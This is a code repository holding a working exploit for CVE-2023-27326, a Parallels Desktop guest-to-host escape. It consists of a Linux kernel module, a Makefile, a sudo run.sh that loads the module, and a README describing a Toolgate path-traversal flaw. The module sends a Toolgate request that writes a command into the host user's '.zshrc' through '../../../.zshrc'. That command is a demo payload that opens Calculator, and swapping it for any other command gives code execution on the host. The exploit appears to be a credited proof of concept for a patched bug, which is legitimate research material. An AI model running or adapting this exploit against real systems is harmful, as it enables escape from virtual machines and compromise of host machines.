├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── prl_exp.c
└── run.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Object files
5 | *.o
6 | *.ko
7 | *.obj
8 | *.elf
9 |
10 | # Linker output
11 | *.ilk
12 | *.map
13 | *.exp
14 |
15 | # Precompiled Headers
16 | *.gch
17 | *.pch
18 |
19 | # Libraries
20 | *.lib
21 | *.a
22 | *.la
23 | *.lo
24 |
25 | # Shared objects (inc. Windows DLLs)
26 | *.dll
27 | *.so
28 | *.so.*
29 | *.dylib
30 |
31 | # Executables
32 | *.exe
33 | *.out
34 | *.app
35 | *.i*86
36 | *.x86_64
37 | *.hex
38 |
39 | # Debug files
40 | *.dSYM/
41 | *.su
42 | *.idb
43 | *.pdb
44 |
45 | # Kernel Module Compile Results
46 | *.mod*
47 | *.cmd
48 | .tmp_versions/
49 | modules.order
50 | Module.symvers
51 | Mkfile.old
52 | dkms.conf
53 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Warmonger
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | obj-m += prl_exp.o
2 |
3 | all:
4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
5 |
6 | clean:
7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Parallels Desktop VM Escape
4 |
5 | This repository contains an exploit for a [Parallels Desktop](https://www.parallels.com/products/desktop/) vulnerability which has been assigned CVE-2023-27326. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop.
6 |
7 | The exploit was tested on Parallels Desktop version 18.0.0 (53049), and the vulnerability was patched in the 18.1.1 (53328) [security update](https://kb.parallels.com/125013).
8 |
9 | ## Vulnerability Details
10 |
11 | The specific flaw exists within the *Toolgate* component. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the current user on the host system.
12 |
13 | The full details of the vulnerability can be found in the accompanying [blog post](https://medium.com/@malwareman007/directory-traversal-arbitrary-file-write-vulnerability-a1d632472319).
14 |
15 | ## Credits
16 |
17 | The vulnerability was discovered and exploited by Alexandre Adamski of [Impalabs](https://impalabs.com). The boiler plate code of the kernel module is taken from [RET2 Systems](https://ret2.io/)'s [Pwn2Own 2021 exploit](https://github.com/ret2/Pwn2Own-2021-Parallels/).
18 |
19 |
20 | ## POC
21 |
22 | https://user-images.githubusercontent.com/86009160/236548403-0dac30c6-41fb-460b-a07b-8ebf56319dcc.mp4
23 |
24 |
--------------------------------------------------------------------------------
/prl_exp.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | u16 baseport;
6 | struct pci_dev* pcidev;
7 |
8 | #define TG_PORT_STATUS 0
9 | #define TG_PORT_SUBMIT 8
10 |
11 | #define INLINE_SIZE(sz) (((sz)+7)&~7)
12 | #define BUFFER_SIZE(sz) (((sz)+0xfff)&~0xfff)
13 |
14 | typedef struct _TG_PAGED_BUFFER {
15 | u64 Va;
16 | u32 ByteCount;
17 | u32 Writable:1;
18 | u32 Reserved:31;
19 | u64 Pages[0];
20 | } TG_PAGED_BUFFER;
21 | typedef struct _TG_PAGED_REQUEST {
22 | u32 Request;
23 | u32 Status;
24 | u32 RequestSize;
25 | u16 InlineByteCount;
26 | u16 BufferCount;
27 | u64 RequestPages[1];
28 | // inline bytes
29 | // TG_PAGED_BUFFER buffers[]
30 | } TG_PAGED_REQUEST;
31 |
32 | void outq(u64 val, u16 port) {
33 | if (val>>32)
34 | outl(val>>32, port+4);
35 | outl(val, port);
36 | }
37 |
38 | // assumes buffer addrs will be page aligned
39 | u64 calc_size(u32 inln, u32 bufcount, u64 totbufsz) {
40 | u64 dsize, dpages;
41 |
42 | totbufsz = BUFFER_SIZE(totbufsz);
43 | dsize = sizeof(TG_PAGED_REQUEST)+INLINE_SIZE(inln);
44 | dsize += bufcount*sizeof(TG_PAGED_BUFFER);
45 | dsize += 8*(totbufsz>>12);
46 |
47 | dpages = 1;
48 | while (1) {
49 | u64 delta = 1+((dsize-1)>>12) - dpages;
50 | if (!delta)
51 | break;
52 | dpages += delta;
53 | dsize += delta*8;
54 | }
55 | return dsize;
56 | }
57 |
58 | void tg_submit(u64 phys, TG_PAGED_REQUEST* req, u32 sync) {
59 | outq(phys, baseport+TG_PORT_SUBMIT);
60 | if (sync)
61 | while (req->Status == -1)
62 | yield();
63 | //printk(KERN_INFO "status: 0x%x\n", req->Status);
64 | }
65 |
66 | // inbuf/outbuf should be kmalloc'd
67 | void twobuf_req(u32 op, void *inln, u64 inlnsz, void* inbuf, u64 inlen, void* outbuf, u64 outlen, u32 sync) {
68 | u64 dsize = calc_size(inlnsz, 2, BUFFER_SIZE(inlen)+BUFFER_SIZE(outlen));
69 | u64 dpages = (dsize+0xfff)>>12;
70 | TG_PAGED_REQUEST* req = kzalloc(dsize, GFP_KERNEL);
71 | TG_PAGED_BUFFER* buf = (void*)&req->RequestPages[dpages]+INLINE_SIZE(inlnsz);
72 | u64 inphys = virt_to_phys(inbuf), outphys = virt_to_phys(outbuf), reqphys = virt_to_phys(req);
73 | u32 i;
74 |
75 | if (!req) {
76 | printk(KERN_WARNING "[x] couldnt alloc 0x%llx bytes for req\n", dsize);
77 | return;
78 | }
79 |
80 | req->Request = op;
81 | req->Status = -1;
82 | req->RequestSize = dsize;
83 | req->InlineByteCount = inlnsz;
84 | req->BufferCount = 2;
85 | memcpy((void *)&req->RequestPages[dpages], inln, inlnsz);
86 |
87 | buf->Va = inphys;
88 | buf->ByteCount = inlen;
89 | buf->Writable = 1;
90 | for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++)
91 | buf->Pages[i] = (inphys>>12)+i;
92 | buf = (void*)&buf->Pages[(buf->ByteCount+0xfff)>>12];
93 | buf->Va = outphys;
94 | buf->ByteCount = outlen;
95 | buf->Writable = 1;
96 | for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++)
97 | buf->Pages[i] = (outphys>>12)+i;
98 |
99 | for (i = 0; i < dpages; i++)
100 | req->RequestPages[i] = (reqphys>>12)+i;
101 |
102 | tg_submit(reqphys, req, sync);
103 | //kfree(req);
104 | }
105 |
106 | void exploit(void) {
107 | char inln[0x200];
108 | char *CR = kzalloc(0x1000, GFP_KERNEL);
109 | char *pbProcName = kzalloc(0x1000, GFP_KERNEL);
110 |
111 | memset(inln, 0, sizeof(inln));
112 | *(uint32_t *)(inln + 0) = 1;
113 | *(uint32_t *)(inln + 8) = 4;
114 | *(uint32_t *)(inln + 0x1c) = 1;
115 | *(uint32_t *)(inln + 0x110) = 1;
116 | strcpy(CR, "open /System/Applications/Calculator.app\n");
117 | strcpy(pbProcName, "../../../.zshrc");
118 |
119 | twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);
120 |
121 | //kfree(CR);
122 | //kfree(pbProcName);
123 | }
124 |
125 | int tg_probe(struct pci_dev* dev, const struct pci_device_id* id) {
126 | int ret;
127 | pcidev = dev;
128 | ret = pci_enable_device(dev);
129 | if (ret) {
130 | printk(KERN_WARNING "[x] failed to enable device: %d\n", ret);
131 | return ret;
132 | }
133 | printk(KERN_INFO "[+] device enabled\n");
134 | ret = pci_set_dma_mask(dev, DMA_BIT_MASK(64));
135 | if (ret) {
136 | printk(KERN_WARNING "[x] failed to set dma mask: %d\n", ret);
137 | return ret;
138 | }
139 | ret = pci_request_region(dev, 0, "prl_exp_portio");
140 | if (ret) {
141 | printk(KERN_WARNING "[x] failed to request portio region: %d\n", ret);
142 | return ret;
143 | }
144 | baseport = pci_resource_start(dev, 0);
145 | printk(KERN_INFO "baseport: 0x%hx\n", baseport);
146 | exploit();
147 | return 0;
148 | }
149 |
150 | void tg_remove(struct pci_dev* dev) {
151 | pci_release_region(dev, 0);
152 | pci_disable_device(dev);
153 | }
154 |
155 | static struct pci_device_id pci_ids[] = {
156 | {PCI_DEVICE(0x1ab8, 0x4000)},
157 | {0}
158 | };
159 | static struct pci_driver tg_driver = {
160 | .name = "prl_exploit_driver",
161 | .id_table = pci_ids,
162 | .probe = tg_probe,
163 | .remove = tg_remove
164 | };
165 |
166 | static int __init init_tg_module(void) {
167 | int ret;
168 | ret = pci_register_driver(&tg_driver);
169 | if (ret) {
170 | printk(KERN_WARNING "[x] failed to register driver: %d\n", ret);
171 | return ret;
172 | }
173 | return 0;
174 | }
175 | static void __exit exit_tg_module(void) {
176 | printk(KERN_INFO "[+] unregistering driver\n");
177 | pci_unregister_driver(&tg_driver);
178 | }
179 | module_init(init_tg_module);
180 | module_exit(exit_tg_module);
181 |
182 | MODULE_LICENSE("GPL");
183 |
--------------------------------------------------------------------------------
/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | sudo sh -c '(dmesg -W &); insmod prl_exp.ko'
3 |
--------------------------------------------------------------------------------